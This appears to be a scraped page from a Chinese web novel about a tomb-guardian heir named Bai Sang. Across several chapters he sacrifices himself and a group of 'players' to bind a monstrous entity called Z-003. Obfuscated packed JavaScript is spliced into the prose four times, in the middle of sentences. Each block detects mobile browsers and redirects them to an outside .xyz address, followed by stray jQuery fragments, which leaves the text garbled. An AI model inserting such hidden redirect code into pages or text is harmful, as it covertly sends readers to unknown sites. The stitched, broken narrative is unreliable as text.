;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039833|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,气势惊人。 在白桑眼里,拱形石桥立在暗河上方,将两岸连在一起。 就在他们徘徊之际,身后的青色灯光悄无声息的蔓延了过来。 白桑打断其他人的嘶吼声:“后面那些东西过来了,你们赶紧找地方躲起来。” 暗河旁空旷开阔,一览无余,没有能躲的地方。 众人不由将视线投向暗河,小花一马当先的朝河水伸出手。河里溅起的水当场化掉了小花半只手,用实际行动证明此路不通。 没给他们更多犹豫的时间,青色‘潮水’迅速淹没了众人。 出乎意料的是,被青色灯光笼罩时,并没有发生任何白桑想象中的可怖画面,只有一股强硬且不允许拒绝的推力,就好似河流拍打着他,将驻足在河岸边的白桑‘推’到了桥上。 白桑扭头,漫天青光笼罩着来时路,侍女们在石桥前盈盈下拜。 侍卫们带着一动不动的‘战利品’,消失在墙壁中。 或许,主干道并不是没有岔路,只是那些岔路无法被他们看见而已。 白桑愣愣的看着侍女们在石桥这端静候,侍卫们来回巡逻,荒诞感油然而生。 小花他们被侍卫们拖走的场景在他脑海里反复滚动,浇灭了白桑心中不知从哪来的自信,也浇醒了沉湎于躁动和盲目中的白桑。 不对劲,一切都很不对劲。 从他被卷进祠堂开始,他所做出的每一个决定都透着一股躁动,毫无根源的自信在他心中滋生,扎根成参天大树。 他就像是蒙着眼睛的驴,盲目且冲动的冲向注定吃不到嘴里的胡萝卜。 * 白桑踩着石桥朝高塔走去。越是靠近,这座塔给人的压迫感就越强,等他从石桥上下来后,高塔的模样已经清晰可见——森森白骨搭成的骨塔,一个个黝黑的骷髅头镶嵌在其中,用黑洞洞的眼眶注视着外来者。 恍惚间,眼前的一切都被另一幕所取代——一尊巨大的黑影凌驾于天地间,无数人匍匐在祂面前,好似蝼蚁一般渺小。 屈服于力量,臣服于权柄,用一切供奉神明……这些声音最初只是窃窃私语,但随着白桑注视‘无上存在’的时间越来越长,声音也越来越响亮,最后几近震动天地,好似有数万人齐声呐喊,透着股骇人的虔诚和疯狂。 在‘无上存在’出现时,白桑好似直面了真正的大恐怖,无尽的恐惧瞬间压垮了一切。但在那一刻,浮现在白桑脑海中的第一个想法是:如果他连死都不怕,那他还有什么好怕的? 一念起而天地宽。 霎时,原本动摇的一切——白桑的灵魂、思维乃至肉·体——都如同磐石般稳固了下来,震动天地的呐喊声回归了噪音的本质。 12.小山村(11) 眼前的场景再度变了个模样。 骷髅塔不见了,暗河也消失了,取而代之的是熟悉又陌生的甬道,一盏盏青铜烛台散发着微弱的光,照亮甬道两旁散落的骷髅们。 有些骷髅身上的衣物尚未腐朽,依稀能辨认出熟悉的现代服饰。 甬道尽头是一扇极为恢弘的青铜门,它伫立在白桑跟前,在他跟墓门之间,是一层厚厚的灰烬,像是什么东西焚烧后留下的痕迹。 白桑挖开这层灰,在最底下摸到了一些短短的硬木,这些木块又小又薄,白桑手一抓就能抓起一大捧。熟悉的手感和质地让白桑迅速锁定了它的真身:这正是小山村日日点燃的那类香燃尽后留下的短柄。 从这些柄的数量来看,这里曾点燃的香的数量恐怕十分惊人。 但为什么青铜门前会有那么多香点燃后的痕迹?又是谁在这座墓里点燃了这些香?他们这么做的目的又是什么? 白桑看向甬道旁的骸骨,能做到这一点的,除了守山人似乎没有第二个答案。 或许,许久之前,祠堂就已经成为了这座墓的一部分。那些守山时间一代比一代更短的守山人的死因或许就在他眼前。 小山村上香的习俗是一种供奉,只是村民们上香付出的代价微不足道,而守山人在祠堂上香所付出的代价却远比想象中更为惨烈。 ‘滴答’,有什么东西从白桑身上滑落,白桑看了眼地上的血印子,后知后觉的摸了摸耳朵,摸到了满手的血。 方才那阵仗还是对他造成了一些影响。他的耳膜被震破了,寂静无声不是因为周围没有其它声音,而是他眼下什么都听不见。 不过能活着就已经不错了,这点小伤实在不值一提,白桑淡定的擦了擦耳朵里涌出的血,将注意力投注到青铜门上。 青铜门上雕刻着诸多图案,有翱翔于天际的龙凤,也有从大门底端向上延伸的参天大树,工匠似乎将所有与‘长寿’‘吉祥’有关的存在全雕刻在了门上。 这不出奇,古代王公贵族对于死亡的恐惧都化作了对墓穴的大肆修建,寄托于死后还能有另一个世界能让他们延续活着时所拥有的权利、财富和地位。 白桑在青铜门上东摸西摸,没找到可疑之处,那些象征长寿、吉祥的图案也没有哪个藏着开门的机关,一番折腾下来,白桑再怎么不想承认,也不得不打消通过正常途径找出青铜门秘密的念头,转而开始思考起一些不科学但明晃晃摆在眼前的手段。 比如说青铜门前这厚厚的灰烬,再比如说随便翻一翻,就能从那些骸骨上找出一堆香。 时光腐蚀了衣物和尸体,却没对他们随身携带的香造成任何影响,就像是这些东西被永恒的定格在了某一瞬间,只等着后来者使用。 白桑从甬道这头走到另一头,搜罗出了一大捧香。 好消息,他现在能用的‘道具’数量多得惊人,完全不用担心香不够用。 坏消息,给青铜门上过香的前辈们都在现场,一个能动弹的都没有。 这怎么看都不像是能活命的办法,但白桑琢磨着他这么做本来也不是为了活命——光是看了眼boss,就差点打出GG,这boss谁爱打谁打,反正白桑已经躺平等死了。 比起活命,白桑更想搞清楚这青铜门的作用,要是能打开青铜门看看墓室里究竟有什么就更好了。 好奇心害死猫,古人诚不欺我。 但他转念一想,都要死了,连‘凶手’到底是啥都不知道,那听起来不更惨吗? 这么想着,白桑立马采取了行动。 他用从尸体身上找到的打火机点燃手里的香,面朝青铜门,恭恭敬敬的弯下了腰,嘀嘀咕咕:“这个世界这么危险,我这点本事,早死早超生也能算是件好事。我死了也就死了,其他人您多抬贵手……” 白桑弯下腰,手里的香骤然缀上了千斤力,硬生生压弯了白桑的膝盖。 “行,给你磕一个。” 白桑结结实实的磕了个头,继续絮叨:“看在白家给你守了这么多年墓的份上……” 他边说边抬头,然后一愣,青铜门前多了个一米多高的青铜鼎,鼎上萦绕着一层白雾,像人间烟火,又像是白家村世世代代点燃的香火。 毫无缘由的,白桑眼眶一热,如同即将迷路的旅客窥见了他人点亮的灯火,又像是即将冻僵的行人找到了前人留下的庇护所。 那股千斤力不知道什么时候消失了,白桑捏着香起身,将手里这根香插进鼎中。 香柱袅袅升起,白雾翻滚聚拢,朝外弥漫,飘进青铜门中,又霎时力竭,重新回到了青铜鼎上。 白桑看了看笼罩在鼎上的白雾,又看了看毫无动静的青铜门,顿悟了。 “我就说怎么会找到这么多香,合着都是给我准备的。” 白桑点燃一根新香,结结实实的给青铜鼎磕了个头。 磕完头,将香插进青铜鼎,看着烟雾攒动,一缕缕的飘进门后,又看着烟雾重新聚拢,再度磕头上香…… 鼎上盘旋着的烟雾不断飘入青铜门内,直到某一刻,门后响起了一声沉闷的敲门声。 敲门声没传入白桑耳中,更具有存在感的生物强势夺走了白桑的意志。 半阖眼的血色瞳孔睁开眼睑,将祂的意志传递给白桑——祂需要一场隆重盛大的祭祀。 白桑被拽入熟悉的白雾空间,八仙桌上依旧摆着无字牌位和香炉。 下一刻,白雾中浮现出了几个熟悉的身影,‘玩家’们一动不动的躺在八仙桌前,如同早已被选定的祭品。 白桑恍然大悟,为什么其他人进不来,但玩家们可以?因为玩家们本就是Z-003选定的祭品,就等着在关键时候派上用场。 白桑一边试图唤醒玩家,一边思索青铜鼎跟Z-003的关系。 思索还没有得出结果,玩家先被他一个巴掌给打醒了……白桑还以为他们会像上次那样,怎么喊都喊不醒呢。 难不成上次之所以没喊醒大壮,是因为他没下狠手? 狭隘的白雾空间中,白桑在沉思,玩家在一惊一怪。 【大佬】【牛逼】【新地图】 虽然白桑的耳膜还没好,没听见玩家标志性的嘶吼声,但仍顺利读取了关键词——看来,玩家们的交流不是通过声音进行的。 白桑按住滚来滚去以及试图把八仙桌拆了的玩家们,简单阐述了下他的经历以及玩家们身为祭品的现状。 【通关】【祭品】【愿望】【弄死】 玩家们兴奋极了,一边长篇大论,一边手舞足蹈,快乐得像是终于能吃到肉的怪物。 白桑组合关键词:“你们的意思是,利用祭祀来搞死Z-003?” 玩家们纷纷点头,白桑指出了显而易见的一点:“Z-003又不傻,请求祂自己搞死自己的愿望怎么可能会得到许可?” 玩家们叽里呱啦的说了一通。 “钻空子?不太可能吧。”但凡Z-003是个遵循等价交易、遵守约定、维护公平的生物,那早被官方供起来了,压根轮不到他们来打怪。 但真要说什么办法都没有,好像也不是,至少刚才出现的青铜鼎跟Z-003就不是一个立场,不然它也没必要让白桑磕上那么多头,一个劲的往墓室里钻了。 白桑指出了更关键的一点:“不提钻空子能不能行,但到时候,作为祭品的你们肯定会死。” 【伟大】【光荣】【通关】 白桑这话一说,玩家们就开始提前庆祝了,活像是这个粗糙到毫无可能性的计划已经成功了一般。 白桑合理怀疑他们其实只是想提桶跑路,压根不在乎到底能不能对boss造成伤害。 “但祂为什么需要一场大型祭祀?” 在白桑问出这个问题时,现场正在上演群魔乱舞。 大壮在八仙桌旁飘来飘去,再一次朝八仙桌上伸出了试探的小手——跟之前一样,他无法跟八仙桌产生实际性的接触。 小花蹦来蹦去,时不时跟八仙桌重叠,像不同图层的贴图,在无法覆盖的情况下制造出穿模效果。 老周爬到了白雾边上,正在反复变换姿势试图卡bug穿过白雾,但白雾就像一层牢不可破的围墙,将所有人困在里面。 老张滚来滚去,以一己之力折腾出了比其他三人还要大的动静——时不时就撞在空气墙上,发出砰砰砰的巨响声,让人深刻怀疑他没有痛觉神经。 现场唯有白桑在认真思考。 “虽然不知道给青铜鼎上那么多香,究竟起到了什么效果,但反向思考一下,它需要一场大型祭祀,会不会就是因为青铜鼎做了什么?” “这么说,我不进行祭祀才是最好的选择?” 得出这个结论后,白桑等了半天,血色瞳孔毫无动静。 反而是玩家对于此处的探索陷入了困境,不再一味的制造噪音,而是互相交流了起来,时不时迸出一两个白桑能听懂的单词。 【彩蛋】【剧情】【支线】【难度】【投诉】 白桑方才与其说是在分析,倒不如说是一个小小的试探。 他拒绝祭祀,Z-003毫无反应。 要么是Z-003无法对他做什么,要么是Z-003乐见其成,所以毫无作为。 上香……青铜鼎……守墓人…… 白桑在头脑风暴,突然肩膀被人戳了戳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044459|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他扭头看去,大壮伸手比比划划。 【好友】【大佬】【带带】 白桑疯狂转动的大脑停滞了片刻,从生死存亡转换到游戏频道:“你的意思是,加个好友?下次一起玩?” 大壮点头如捣蒜,一旁的小花他们纷纷挤了过来,用磨刀霍霍向猪羊的狰狞表情看向白桑。 白桑眨了下眼,慢吞吞的道:“可以是可以,不过……”不过他不确定他有没有加好友这个功能。 大壮他们没在意白桑拖着长音的‘不过’,一听白桑同意了,就热闹的议论了起来。 白桑听了半天,从关键词中提炼出了重点:“进行游戏的时候没法加好友,必须得等返回……” 话还没说完,熟悉的系统提示先跳了出来。 【提示!当前角色偏差度: 34%、35%……】 白桑及时闭嘴,将‘游戏大厅’这个词咽了回去,顺便提醒大壮他们:“别说这些了,容易暴毙。” 大壮他们的角色偏差度本就不低,再这么往上涨,分分钟能满80%。 大壮他们十分听劝,将话题转了回来,一堆【祭祀】【干掉】的关键词涌了出来——显然还没放弃之前那个草率的计划。 白桑揉了下太阳穴,决定放弃思考:“行,干正事,祭祀。” 他点燃手上的香,弯腰下拜。 一股力量锁定了他,血色瞳孔睁开眼睑,等待白桑提出祈求,献上祭品。 跟之前那次仓促祭祀不同,这次白桑还没提出他的要求,所以此刻,天秤两端还是空的。 他试着在心中冥想‘禁止Z-003号诡域作恶(作恶的定义包括且不限于法律、社会伦理道德等等)’‘削弱Z-003号诡域的力量(削弱后的水平以我为标准)’之类的愿望,都没得到反馈。 正如他所猜的那样,Z-003不会许可对他有害的愿望。 想到这,白桑突然想到了青铜鼎和小山村每日上香的画面。 这些都没对Z-003造成伤害,相反,这是村民们日日夜夜的虔诚供奉。而Z-003就在这样虔诚的供奉中被拖慢了成型的脚步,无知无觉的困在人类精心制作的‘囚笼’之中。 灵光一闪,话语脱口而出。 “千年万年,代代相传,子子孙孙,永守其墓,”眉心跳个不停,像是某种强烈的警兆,白桑没管它,继续道:“墓在人在,墓亡人亡。白家最后的守墓人,白桑,愿永守其墓,与它共存亡。” 没有存在感的支线任务跳出了提示。 【支线任务:守墓人的使命已完成】 【千年万年,代代相传,子子孙孙,永守其墓】 【墓在人在,墓亡人亡。又曰:人在墓在,人亡墓亡。】 伴随着最后那行提示,平静的白雾骤然翻滚了起来,朝白桑拍下,却没撼动白桑半分。 天秤的一端已经摆上了愿望,另一端的筹码飞速增长,又挨个消除,像是在来回拉锯,迟迟无法确定是否要接受此次献祭。 白桑语速飞快:“我愿献祭大壮、小花、老周、老李、还有我自己,为墓主人贺!” 上次献祭时,白桑恨不得在祭品前加上无数限定词,以保证自身安全,这次献祭时,他直接将手上所有筹码推上了牌桌。 在支线任务跳出完成提示时,一个大胆的计划在白桑心底成型,他意识到必须将自己作为祭品中的一员! 如果顺利的话,完全能通过他方才的许愿达成‘双杀’,在自己死亡的同时带Z-003一起去死。 天秤起起伏伏,最终吞下了所有筹码,完成了‘收取代价’的流程。 白桑现在知道为什么墓里会有一座骷髅塔了,因为Z-003非常挑剔,它只拿走血肉,骨头和毛发都被它剔除在外。 眨眼间,大壮他们变成了四具白骨,没有任何挣扎和痛苦,死亡发生在一瞬间。 白桑也没有例外,他在那一瞬间彻底死去,化作了一具白骨。但与此同时,已成功收取祭品的祭祀跨越生死与白桑建立联系。 白桑时而存在,时而不存在,时而化作白骨,时而回归血肉。 青铜鼎上的烟雾翻滚着涌入他体内,无数人的恐惧、敬畏和祈祷在白桑耳边响起。 祂俯瞰天地,阴影在天空和大地中滋生,星空中镶嵌着无数瞳孔,垂涎欲滴。 青铜鼎寸寸碎裂,化作无数碎片。 青铜门发出了沉重的闷响声,开启一条薄薄的缝隙,鲜血漫过白桑,朝外涌去。 如果白桑此刻还保持着清醒,就会发现墓室里并没有棺椁和陪葬品,只有一汪无穷无尽的血池,沿着青铜门的门缝席卷整座古墓。 13.小山村(12) 柏油路的尽头出现了一个身影,几个眨眼的功夫,对方的模样逐渐清晰。 满头黑发,双目灿灿如赤子。 他一手提着白继业,另一只手提着一个年轻人,几十米长的道路在他脚下被缩短成了短短几步路,寥寥几步就走到了小山村临时驻扎的营地前。 血雾在群山中翻滚,将此处的天色染成一片血红,诠释了什么叫做风雨欲来。然而古怪的是,距离这片血雾几步之遥的地方,坐落着一个匆忙搭建起来的营地。 歪歪扭扭的木头围栏看起来似乎只具有心理上的安慰作用,实际上连只跳得高的兔子都拦不住,更别说那铺天盖地的血色雾气了。 营地里的生活气息相当浓重。鸡鸭被关在笼子里,没发出丝毫声响,狗群夹着尾巴缩在角落,时不时‘呜’一声,好似被吓破了胆子。 一股极淡的烟味萦绕在营地上空,人群三三两两散落着,一边做着手上的活,一边照顾老人和孩子,窃窃私语声如同风声一般,在营地中飘浮。 直到周正已出现,营地里的动静才逐渐变大——村民们此起彼伏的呼喊着‘村长’,伴随着‘又来了’‘我们是不是要死了’的恐慌。 听见动静,墨守仁嘬着烟杆从帐篷里走了出来。他的眼睛熬得通红,像是一下子老了好几岁。 看到熟悉的身影,他松了口气,朝其他人摆了摆手:“没事,不是那些东西,是白先生从城里请来的帮手到了。” 闻言,人群中弥漫的恐慌转为了希望。 “白先生回来了?这事是不是就有法子解决了?” “咱们是不是不用留在这了?外头奇怪的东西太多了,这几天晚上睡觉我都不敢闭眼。” 周正已在围栏外停下脚步,目光掠过充满生活气息的营地,停在墨守仁身上。 墨守仁嘬了下烟杆,烟气徐徐飘散。 “呕——”被周正已提拉了一路的年轻人终于能脚踏实地了,一被放下就软倒在地,想吐又吐不出东西,有气无力的道:“我怀疑那卦不准,这鬼地方给我的感觉糟透了。” 白继业急切的朝墨守仁看去:“娃儿呢?娃儿在哪?” 嘈杂的营地里突然安静了下来。 周正已伸手按住白继业,防止他过于激动冲进营地里去,然后问墨守仁:“发生了什么?” 墨守仁嘬着烟杆:“棺材板前脚刚走,小树苗后脚就进了祠堂……” 这些天,墨守仁将那天发生的事反复捋过无数遍,他详细描述了祠堂关门后,他进不去、白桑出不来的情况,又阐述了他们将出事了的那四人送到祠堂时看到的画面。 “祠堂起码有几年没人住过了,”墨守仁:“之前那些守山人怕是压根没在祠堂里生活过。” 周正已直击核心:“你们怎么逃出来的?Z-003现在什么情况?” 墨守仁:“从祠堂回来后,我就一直心神不宁,感觉有什么事要发生。所以连夜下了山,那天晚上两点,山崩了,那玩意一路追着我们到山脚下,才停下来。” “去城里的路太难走,更何况带着这么多人,我们也走不远。干脆就在这里扎了营,等城里派人来。” 周正已看了眼营地里老的老小的小:“这么多人在‘野地’里,光靠你护着,不可能活到现在。” 除了安全区外,其他地方都被称为‘野地’,那是隶属诡域和异常的世界,哪怕只是通行都需要做好万全准备,更别说长时间滞留了。 所以,在周正已见到这个充满生活气息的营地时,就对墨守仁他们产生了怀疑。 野地中遇到的‘活人’,少部分是真有一手的过江龙,但更多的是诡域派出捕食的‘触角’。 因此,墨守仁没贸然邀请他们进入营地,周正已也没有主动提议进入营地,双方都保持着起码的警惕和克制。 “我确实没本事护住这么多人。”墨守仁抖了下烟杆,指向被血雾笼罩的群山:“但Z-003可以。” 周正已抬眼:“Z-003?” 墨守仁:“按照一开始的推断,完全成型的Z-003会覆盖整个Z区。但你也看到了,它现在仍然滞留在群山中,只偶尔攻击一下出现在附近的异常。” 周正已眉梢紧皱:“你的意思是,过去这几天里,Z-003不仅没有攻击你们,甚至还在保护你们?” 墨守仁更正道:“严格来说,是客观上起到了保护我们的作用。我怀疑Z-003的排外特性仍在发挥作用,它不允许任何异常在它的地盘上活跃,哪怕只是路过,因此强行制造出了一片‘安全区’。” 至于为什么没有攻击村民们,墨守仁也不知道答案,只能猜测或许是‘Z-003’眼下状态特殊,还没完全复苏,以至于原先的‘安抚行为’也就是‘给山神爷爷上香’的效果仍然在持续。 闻言,常一喜上眉梢:“道长,这跟卦象相符啊!我之前卜出来的就是大吉!那可是大吉!” 墨守仁看向周正已带来的年轻人:“这位是?” 常一朝他拱了拱手:“常一,常是常胜的常,一是遁去的一,勉强算是个卦师,时灵时不灵的那种。” 墨守仁嘬了口烟杆,上上下下的打量他:“有证吗?” 常一:“没有,我是野路子出身,自学成才。” 墨守仁肃然起敬:“年少有为!没想到几年不见,城里都有能自学成才的卦师了,还能被这小古板带出来做任务……” 趁他们说话的功夫,周正已看向被他牢牢按住的白继业:“冷静下来了?” 白继业耷拉着眼:“你先松开。” “松开?我一撒手,你就得往山里跑,”周正已牢牢按着他的手:“眼下看来,白桑不一定出事了。” 白继业扯了扯嘴角:“娃儿肯定没事,他还等着我去接他呢。” 墨守仁堆着笑问常一:“天才,你能不能卜下小树苗现在到底什么情况?要是人已经死了,也省得棺材板想东想西。” 常一瞄了眼周正已,小声请示:“道长,行吗?” 周正已:“给你们介绍一下,常一,别人算卦靠真本事,他算卦靠异化,一天三卦,卦金自取,不保证结果准不准。” 墨守仁看看周正已,再看看常一:“自学成才?” 常一很谦虚的摆手:“可不嘛,卦师的课我压根没学过,全靠对自身异化方向的研究折腾出来的新型算命方式。” 墨守仁仔细打量常一,见他胳膊是胳膊、腿是腿的,更为不解:“能做到靠异化算命,那你的异化程度肯定不低,怎么没出现外部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048403|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畸变的特征?” “怎么没有外部畸变?” 常一从兜里掏出一块巴掌大的龟甲碎片:“喏,从我身上褪下来的。现在还只是在身上各处长点龟甲,就是不知道异化度加深以后,会不会变成乌龟人,说实话我不太喜欢这个形象……” 墨守仁的烟杆大幅度的颤抖了下:“畸变特征这么轻?怎么做到的?” 周正已插话道:“他跟目标异常的相性特别高,主观能动性也很强,异化程度还不深的时候,就在研究怎么钻空子了,还真让他稳住了情况。” 墨守仁没继续追问,能让周正已带着他出任务,就说明这小子肯定有点东西:“那就算一卦?” 周正已介绍道:“Y-103会根据算卦人提出的问题自行收取报酬,报酬包括且不限于气运、寿命、官运等等。且不保证卦象结果准确。” “根据之前的测试结果,问卦人的实力越高,Y-103收取的报酬越公正,卦象越准确。” 墨守仁没吱声。以他的实力,显然很难保证卦象的准确性。 白继业则顾不上这些:“我要算。算我孙子现在究竟是死是活。” 常一看了周正已好几眼,见他没有阻止的意思,才道:“那我就给你算一卦?” 暗沉的龟甲递到了白继业面前,龟甲上的缝隙里还沾着干涸的血迹。 常一:“你把手放上来,哪只手都行,然后把你想问的问题说一遍。” 白继业握住龟甲:“我孙子,白桑,他现在还活着吗?” 墨守仁的唇瓣蠕动了下,想提醒白继业问得更精确一点,但想到最后的卦象都不一定准确,就没开口。 常一的手不住在龟甲上摩挲,嘴里不断重复白继业的问题。 随着他的摩挲,龟甲震动了起来,甲背上涌出了血,在龟甲上流动,像是在勾勒线条,又像是在乱涂乱画。血越流越多,忽而,龟甲从两人手中飞了出去,啪的一声摔到地上,当场四分五裂。 墨守仁还以为对方算卦就是这么出结果的,见状忙不迭的问道:“算好了?结果怎么样了?” 常一深吸了口气,捡起地上碎成好几块的龟甲,语速飞快:“龟甲摔成好几块这种情况,之前只在领导让我算荒野之息的时候出现过,不过荒野之息是Z-001的所在地,Y-103算不了很正常。但‘白桑是不是还活着’也算不了的话,那问题可就有点大了。” 周正已面露沉思之色:“白桑毕竟是白家人,Z-003解封的时候他又恰好在祠堂……说不定真出了什么意外。” 当然,这里周正已指的‘意外’,不是白桑死了,而是白桑没死。 白继业来了精神:“所以,小树苗没死!” 周正已看了眼张牙舞爪的血雾,皱眉道:“没死也未必是件好事。被复苏的诡域当场吞噬的活人,如果没死,极有可能变成伥鬼。” 这类生物,虽然乍看似乎跟以前没有区别,但实际上早已被诡域扭曲了心智和思维,所有行为的落脚点都是为了完成诡域的任务,在早期对探索和援救工作造成过巨大阻碍,哪怕是现在仍防不胜防。 见现场气氛异常凝重,常一默默的把嘴边那句“如果只是变成诡物了的话,那不该占不出个结果”这大实话咽了回去。 14.小山村(13) 【警告!%¥*#冲突……*@#*%错误……】 白桑翻了个身,试图屏蔽扰人清梦的噪音。结果事与愿违,耳边的动静从听不清晰的嗡嗡声变成了滋滋声,好似指甲在黑板上来回划动,硬生生将白桑从睡梦中惊醒。 他一睁开眼,就见一连串系统提示飘在空中,起初全由乱码组成,它像活物般扭动身躯,直到变成白桑能看懂的文字为止。 随着文字固定下来,指甲划动声也变回了人话。 【警告!玩家生命体征已消散,本轮游戏结束。】 【警告!无法返回游戏大厅!】 【警告!未检测到玩家序列号!】 【警告!偷渡客遣返失败!】 【系统功能关闭中……】 【检测到错误信号!系统自检中……】 【玩家生命体征恢复正常……#*&!%系统功能自检完成。】 【本轮游戏已结束,角色偏差度已关闭,请等待下轮游戏开始。】 【提示!您有新的好友添加讯息。】 【%#!&*……好友列表读取失败,当前状况异常,系统自检中……】 【警告!%¥*#冲突……*@#*%错误……】 系统通知飞快刷新,最后又变回了乱码,耳边的人声再度变回了烦人的噪音,“滋滋滋”的响个不停。 白桑醒了又没完全醒,虽然能看到系统提示不断刷新,但一点与自身相关的紧迫感都没有,直到刺耳的噪音不间断的骚扰,才慢慢反应过来那一长串信息量。 正规玩家进入游戏的途径跟白桑进入游戏的途径显然不太一样。 正常玩家死亡后会结束本轮游戏,返回游戏大厅。而白桑一死就会暴露自己偷渡客的身份,享受被遣返的待遇。 当然,要是真能原地遣返,那再好不过。但很明显,系统遣返失败了…… 不过本轮游戏结束又是按照什么来判断的?主线任务不就只有‘活下去’吗?难道只有‘玩家’死亡才能终结本轮游戏? 想到这,最开始浮现的游戏提示出现在白桑脑海中——‘玩家生命体征已消散,本轮游戏结束’——所以,本轮游戏结束,确实是因为系统确认了‘玩家’死亡。 白桑不确定之前的计划是否成功了,但他能确定一点——在献祭过程中,他死了很多次,也活过来很多次。 白桑甚至都不确定自己眼下到底是什么状况,他真的还能算是人类吗?正常人怎么都不可能在物理意义上死去活来吧? 不过,从另一方面来说,‘玩家’在这个世界本来就不能被称之为人。 白桑想着想着,突然意识到现场的情况好像有点不太对。 他身下是高床软枕,垂下的床帐上用金丝绣着飞龙走兽。床帐外,隐约能看到一个个人影恭敬站立,手上捧着洗漱用品。 屋内的摆设无一不精致,处处可见底蕴,唯独没有任何现代家具,好似他一夜间穿越千年,回到了古代。 在白桑注意到周遭环境时,侍女们也有了动作,她们撩开床帐,捧着层层衣物上前。 纤长的脖子低垂,绣着精致花纹的裙摆随着她们的脚步轻轻晃动——这不就是之前在墓里青光照映下活过来的那群‘侍女’吗? 好消息,他没二次穿越。 坏消息,他还在墓里。 白桑皱着眉头跟它们拉开距离。侍女们停下动作,依旧是垂眉敛目的恭谨模样,看不出丝毫暴走的征兆。 白桑也没有什么激烈反应,安然的保持着跟一群‘鬼’近距离接触的场景,思考着这到底是什么情况。 一个画面在白桑脑海中浮现。 无穷无尽的血从青铜门后涌出,淹没整座墓,血池中的骷髅随着血水的涌动起伏不定。 然后又变成了另一幕。 从他身上流出的血淹没了整座墓,将古老尘封的墓穴重启,死去的陪葬品在血水中活了过来。 这两个场景在白桑脑海里反复交织,他眼前的画面跟着变了个模样——高床软卧化作了一池血水,莹白色的骷髅在血水中起起伏伏。 影影绰绰的黑影黏在地上,像不起眼的污渍,没被白桑注意。 除了血池外,墓室内没有其他物件,但墙上全是大片大片的壁画。 白桑低头打量自己,骨头上没粘连一丝一毫的液体,整具骨架在黑暗中莹莹发光,与甬道里的骷髅相比,简直堪称绝世美人。 他大概确实不能算是人了。 莹白骷髅感叹了一句,咔吧咔吧的走到壁画前,花了会功夫将几幅壁画分出先后顺序,连成了一个大致可以看懂的故事。 第一幅壁画上,张牙舞爪的巨大黑影占据大半空间,一个个圆形的物体散落在黑影周围,仔细分辨,才能看出那是一个个象征着人的小黑点。 第二幅壁画,小黑点在巨大黑影面前俯首,献上描绘夸张的肉山和血海。 第三幅壁画,黑影盘旋在富饶的城池上,下方是欢喜雀跃的小黑点们。 第四幅壁画,城池破碎,巨大黑影低下身躯,迫近下方的人群。 第五幅壁画,黑影进入了破碎的城池中,它的体型没有第一幅壁画那么夸张,而原本只是小黑点的人的形象却变得清晰了起来,最为醒目的,无疑是人群中最前方的人,他扛着一扇巨大的门,跟其他人一起将门放到了城池中。 第六幅壁画,人群几乎与黑影等高,他们在城外庆祝,为首的人戴上了冕冠和巨剑。 第七幅壁画,人又变回了小黑点,青铜门被打开,戴着冕冠的巨人被送进了门内。 第八幅壁在墓室顶上,巨大的青铜门外,到处都是小黑点的尸体,血流成河。 主墓室里没有墓主人的棺椁,是因为它一开始就不是给人准备的?那被送进门后的巨人去哪了? 白桑揉着酸涩的脖子,后知后觉的发现自己身上长出了血肉,准确来说,是上半身变回了人,只是两条腿还是骨头。 骨头支撑不住上半身的重量,白桑从站着改为了坐着,在进行充分尝试后,最终确认,在这种情况下,他没法用只剩下骨头的腿走路。 当然,正常情况下,只剩下骨头的腿确实不可能正常行走,但考虑到白桑整个人变成骷髅时,依旧能走能跳,那理论上来说,只剩下骨头的腿理应也能正常行走才对。 但白桑试了半天,确认自己没法在半人半骷髅的状态下正常走路,又找不到变回一整个人或者一整个骷髅的诀窍,只好两只手扒拉,一路爬到青铜门前。 白桑伸手,青铜门恍若一层幻影。他伸出的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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哪怕粗糙的计划能凭借运气和外力成功,也不意味着万事大吉,诡域的存在形式与人类截然不同,生死与共并不能免疫诡域本身的疯狂,在疯狂中永生也不比在理智中死亡更好。 但此刻的白桑已然无法回头。 溺水的人会下意识的抓住身边的一切,在混乱和清醒中徘徊的白桑挥舞着手,试图抓住什么。 地上被他划拉出一道道痕迹,青铜鼎的碎片被丢得到处都是,白桑身上的东西在激烈的翻滚和挣扎中掉落一地。 白桑抓住了一本册子,躁动的世界突然安静了下来,血色瞳孔的情绪隔着一层玻璃,依旧存在,只是被弱化了数倍。 